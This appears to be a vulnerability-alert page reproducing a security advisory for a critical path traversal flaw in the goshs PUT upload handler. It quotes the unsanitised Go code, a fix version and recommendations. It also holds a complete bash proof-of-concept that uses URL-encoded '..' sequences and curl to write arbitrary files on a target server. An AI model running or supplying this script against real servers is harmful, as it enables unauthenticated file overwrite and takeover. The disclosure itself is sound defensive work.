Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
9.8
goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload
GHSA-g8mv-vp7j-qp64
CVE-2026-35392
Summary
### Summary
* PUT upload has no path sanitization | `httpserver/updown.go:20-69`
This finding affects the default configuration, no flags or authentication required.
### Details
**File:** `httpserver/updown.go:20-69`
**Trigger:** `PUT /<path>` (server.go:57-59 routes directly to `put()`)
The han...
What to do
- Update github.com patrickhener to version 1.1.5-0.20260401172448-237f3af891a9.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| github.com | patrickhener | <= 1.1.5-0.20260401172448-237f3af891a9 | 1.1.5-0.20260401172448-237f3af891a9 |
Original title
goshs: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') in goshs PUT Upload
Original description
### Summary
* PUT upload has no path sanitization | `httpserver/updown.go:20-69`
This finding affects the default configuration, no flags or authentication required.
### Details
**File:** `httpserver/updown.go:20-69`
**Trigger:** `PUT /<path>` (server.go:57-59 routes directly to `put()`)
The handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment.
```go
func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
upath := req.URL.Path // unsanitized
filename := strings.Split(upath, "/")
outName := filename[len(filename)-1]
targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]
target := strings.Join(targetpath, "/")
savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
// ...
os.Create(savepath) // arbitrary path write
```
`UploadFolder` defaults to `Webroot` (main.go:386-388). The path is pure string concatenation with no validation.
**Impact:** Unauthenticated arbitrary file write anywhere on the filesystem.
**PoCs:**
```bash
#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
if [ ! -f "$LOCAL_FILE" ]; then
echo "[-] Local file not found: $LOCAL_FILE"
exit 1
fi
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / from target
TARGET_REL="${TARGET#/}"
PUT_PATH="/${TRAVERSAL}${TARGET_REL}"
echo "[*] Source: ${LOCAL_FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] PUT: ${PUT_PATH}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--path-as-is \
-X PUT --data-binary "@${LOCAL_FILE}" \
"http://${HOST}:${PORT}${PUT_PATH}")
echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
```
To execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`
## Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.
* PUT upload has no path sanitization | `httpserver/updown.go:20-69`
This finding affects the default configuration, no flags or authentication required.
### Details
**File:** `httpserver/updown.go:20-69`
**Trigger:** `PUT /<path>` (server.go:57-59 routes directly to `put()`)
The handler uses `req.URL.Path` raw to build the save path. No `filepath.Clean`, no `..` check, no webroot containment.
```go
func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
upath := req.URL.Path // unsanitized
filename := strings.Split(upath, "/")
outName := filename[len(filename)-1]
targetpath := strings.Split(upath, "/")
targetpath = targetpath[:len(targetpath)-1]
target := strings.Join(targetpath, "/")
savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
// ...
os.Create(savepath) // arbitrary path write
```
`UploadFolder` defaults to `Webroot` (main.go:386-388). The path is pure string concatenation with no validation.
**Impact:** Unauthenticated arbitrary file write anywhere on the filesystem.
**PoCs:**
```bash
#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>
set -euo pipefail
HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
if [ ! -f "$LOCAL_FILE" ]; then
echo "[-] Local file not found: $LOCAL_FILE"
exit 1
fi
# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
TRAVERSAL="${TRAVERSAL}%2e%2e/"
done
# Strip leading / from target
TARGET_REL="${TARGET#/}"
PUT_PATH="/${TRAVERSAL}${TARGET_REL}"
echo "[*] Source: ${LOCAL_FILE}"
echo "[*] Target: ${TARGET}"
echo "[*] PUT: ${PUT_PATH}"
echo ""
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
--path-as-is \
-X PUT --data-binary "@${LOCAL_FILE}" \
"http://${HOST}:${PORT}${PUT_PATH}")
echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."
```
To execute it: `./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can`
## Recommendations
Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method `return` is called after every error response.
ghsa CVSS3.1
9.8
Vulnerability type
CWE-22
Path Traversal
Published: 3 Apr 2026 · Updated: 3 Apr 2026 · First seen: 3 Apr 2026